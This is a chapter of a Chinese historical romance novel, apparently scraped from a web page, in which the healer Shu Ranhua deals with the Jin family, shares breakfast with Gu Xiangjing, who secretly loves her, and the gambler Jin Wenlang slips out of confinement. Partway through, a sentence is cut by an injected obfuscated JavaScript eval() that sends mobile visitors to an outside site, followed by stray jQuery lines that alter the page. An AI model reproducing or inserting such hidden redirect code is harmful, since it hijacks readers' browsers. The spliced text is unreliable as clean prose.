舒苒华从袖中捏出那份切结书,递给顾相璟,并简洁地叙述了清晨发生的事情。
听完,顾相璟猛地一用力,手中的茶盏几乎要被捏碎,他眼中寒光一闪而过,
这金家,简直无法无天,竟敢欺她至此。
心底的杀意如惊涛骇浪般翻涌,但他仍极力克制着,脸上保持着平静如水,生怕一丝波澜都会惊吓到她。
片刻后,顾相璟深吸一口气,缓缓开口:“这切结书,我收下了。金家的事,我会按照你的要求处理。”
舒苒华微微颔首。
望着她平静的神情,顾相璟稍作沉吟,缓缓问道:“那些人中,有受过你诊治的病者,他们却也不信你,反而成为指责你的众人中的一员,你不难过吗?”
舒苒华望着茶盏里澄澈的茶水,微微一笑,语气淡然:
“我祖父曾教我‘行医济世,救人为本’,但我祖父也教过我,‘医者之心,应如明灯,可以照亮黑暗,但不能反被黑暗吞噬’我只需问心无愧,不必理会旁人的言语举止,更不必介怀他们是否知恩图报,抑或恩将仇报。”
“对我而言,最重要的是我的娘亲和冬青,其他人我不会放在心上。”
闻言,顾相璟眉头微皱,身子不由往前倾了几分,眼中透出熠熠光芒:“那我呢?”
舒苒华愕然,轻轻眨了眨眼,身子稍稍后退了几分,避开他的逼人气势,“你帮了我许多,自然不一样,你是个好人。”
他是在担心她会得鱼忘筌吗?她向来铭记恩情,绝非忘恩负义之辈。
听到这话,顾相璟的眉头舒展开来,原来在她心中,他是特别的,分量也不轻。
他的眼中闪过一丝暖意,嘴角勾起淡笑,缓缓开口:“金家的事我会着人办好,你在家好好休养便行。”
“那便多谢了。”舒苒华淡然一笑,心中却是一暖,“还有一事需要拜托你,我们打算尽快找到一处能住的小院,搬出去。”
顾相璟心中一沉,黑眸微微闪动:“是在这里住得不自在吗?”
“并非不自在,只是不想给你添麻烦。”舒苒华笑了笑,轻声说道,“此事是我们三人商量过的,毕竟这是你的府邸,我们不便长久打扰。”
“当然可以。”顾相璟脱口而出。
眼前人样貌英俊,那双漆黑深邃的眼睛似乎总能轻易染上几分深情,而加上透着几分贴切的话语,更是让人难以招架。
舒苒华心中微微一跳,但表面仍保持着平静,她轻轻摇了摇头:“你对我们已帮助颇多,怎能再添麻烦。”
正当他准备开口时,脑海中突然闪过一道灵光,他的眼睛顿时亮了起来,随即说道:“那我派人去打听一下,看哪里有合适的院子。”
舒苒华道:“那就麻烦你了。”
顾相璟一扫方才的失落,微微一笑:“此事就交给我,你且安心。”
舒苒华微微点头,随后仔细地回忆了一下,需要顾相璟帮忙的事已经说完了,便转身回厢房歇息。
在离开前,顾相璟遗憾地看了眼装在粉碟里的冰镇葡萄,他还是没能亲手喂她吃东西。
与顾相璟在梅雪居分别后,舒苒华小憩结束,睁眼便收到了顾相璟让人送来的银钱,让冬青将七百贯赔偿给小院东家后,总算了却一桩心事。
翌日清晨,就在她打算指导冬青制作烫伤膏和祛疤膏时,顾相璟踩着曦光踏入了院子,将两个贴了纸签的瓷瓶放到石桌上。
“玉露膏用于治疗烫伤,玉肌膏用作祛疤,这两瓶你用着先,不够再跟我说。”
这两瓶膏药都是珍贵的宫中秘制药膏,顾相璟没有提及他是如何得来的,只细细说了用法。
舒苒华目光落在那两瓶药膏上,心中微动,总感觉欠下的“债”好像更还不清了。
“谢谢。”舒苒华轻声说道。
“不必。”
见顾相璟似乎并未打算离去,舒苒华犹豫了一会,问:“你要不要一起吃早食?我娘亲应该快要做好了。”
几乎是话音刚落,顾相璟便应道:“好。”
舒苒华诧异地看了他一眼,心底隐隐有一种感觉:他似乎就是在等这句话。
迎上舒苒华的视线,顾相璟泰然自若地笑了笑,似乎只是随意应下。
这座府邸中,他“耳目众多”,这次是掐好了时辰过来的。不过,这点就没必要让她知道了。
看着他坦诚而温暖的眸色,舒苒华将猜测撇开,定是她想多了。
他怎么可能“贪图”一顿早食?
一回生二回熟,顾相璟这次与她们同桌而食,气氛愈发融洽轻松,宋婉宁对顾相璟更是添了几分好感:长相俊朗,举止有礼,谈吐不凡,嘴巴还甜。
顾相璟放下筷子,微笑着说:“伯母的手艺真是了得,这顿早食是我近些日子来最舒心的一餐。”
听听,这嘴甜的!
宋婉宁笑得合不拢嘴:“要是你不嫌,以后常来吃便是。”
“那相璟就却之不恭了。”
舒苒华在旁边看着,心底的那份猜测又涌上心头:他或许还真是为了吃而来的。
在送顾相璟离开小院时,顾相璟似乎瞧出了她心底的疑惑,他站在门栏前,微微侧身,深邃的目光落在她脸上,语气染上了几分低落:
“我很喜欢你……娘亲做的饭菜。自我幼时,我母亲便离我而去。我已经很久没有尝到过,这种家的味道了。”
听到前半句“我很喜欢你”时,舒苒华心猛地一跳,眼睛睁圆,幸而随后的话又让心跳平缓了下来。
她默默地长舒了口气,幸好自己方才没有脱口而问,不然就尴尬了。
而他说的话……
难怪他身影总会给人冷厉孤独之感,他没有提及他的父亲,他父亲是待他不好吗?他说许久没有感受过家的味道,武丁也曾不经意提起过,他独自一人住在外面,家中从未有人看望过他。
这也太让人……心疼或同情?
舒苒华不清楚心里生起的酸涩之感属于什么,只觉得心有些沉重,有些难过,让她不禁想开口安慰他。
况且,他给予的帮助太多:六百
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14348159|145446||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
五十贯,两瓶膏药,一个大忙,这处院子,恶徒的事……
思及此,舒苒华柔声道:“我娘亲做的饭菜都很好吃,你若有空,随时来便是。”
顾相璟注视着她眼眸里荡漾着的温柔的水波,心底不禁叹息:她怎么这般容易心软,也这般容易相信人。
他轻轻颔首,将心底浮动的情愫深藏,嘴角勾起一抹微笑,轻声应允:“好。”
与舒苒华告别后,顾相璟大步迈出庭院外,只觉一路的景色格外好看。
府中的小厮女使纷纷躬身行礼,皆讶异地瞧着郎君脸上的笑意。
郎君已很久很久没有笑过了,更不曾笑得这般满足而愉悦。
武丁已将骏马牵至府邸前,顾相璟接过缰绳,轻抚马儿的颈项,心中依旧回味着那顿温馨的早餐,以及舒苒华那明媚的笑颜与温柔的话语。
他自亲睹母亲与顾弘道之事后,便明白了一个道理。
爱,要用真心相换,才能走得长久。
他这些日子反复思索着对舒苒华的情感,他见到她就格外满足、开心,他只想让她高兴,想把世界上最好的东西都送到她面前。
而看到她受伤,他恨不得以身代之。
他确信,他喜欢她。
但她似乎对他没有男女之情,如果坦言告之,按照她的性情,怕是一刀两断,连朋友都难做。
所以,他不能急。
哪怕她不喜欢他,他也想待在她的身边。
顾相璟飞身上马,朝着院落的方向深深地看了一眼,然后挥动手中的马鞭,疾驰离去。
武丁凝视着郎君远去的背影,心中暗自思量:郎君已经很久没有这般放松过,也没有这般愉悦过了。而郎君对舒娘子的态度,是他未曾见过的体贴温柔,郎君定然是喜欢上了舒娘子。
武丁暗自盘算,定要在舒娘子面前多为郎君美言几句,否则,以郎君那内敛的性子,两人不知何时才能开花结果。
*
金文朗在被困在家里数日后,终于熬不住枯燥和无聊,在小厮的协助下,寻空溜了出去。
他望着眼前热闹的情景,深深地吸了口气,脸上露出陶醉的神情:“那两个老东西,整日就会絮絮叨叨,还硬把我关在家里这么久!债不是早还清了吗?还抓着不放,就会教训我,我呸!”
“今天,我可要好好玩个够!”
余光瞥到小厮惴惴不安的神情,他挥了挥手,故作轻松地说:“不必担心,我只是出来走走,不会惹事的。你今日帮我逃了出来,小爷我不会亏待你的!”
小厮勉强应了一声,紧跟在他身后,目光闪烁不定。
金文朗大步走在繁华的市集上,心情大好,一路上买买这个,买买那个,吃吃喝喝,好不快活!
但走着走着,一股莫名的空虚感悄然爬上心头,即便是入目的斑斓的玩意,入耳的美妙乐声,也消不了心中的空洞,抵不住心中的瘙痒,反而更添了几分烦躁与不安。
这些破玩意哪有骰子来得有趣!这些破音又哪有骰子在骰盅翻腾的声音动听?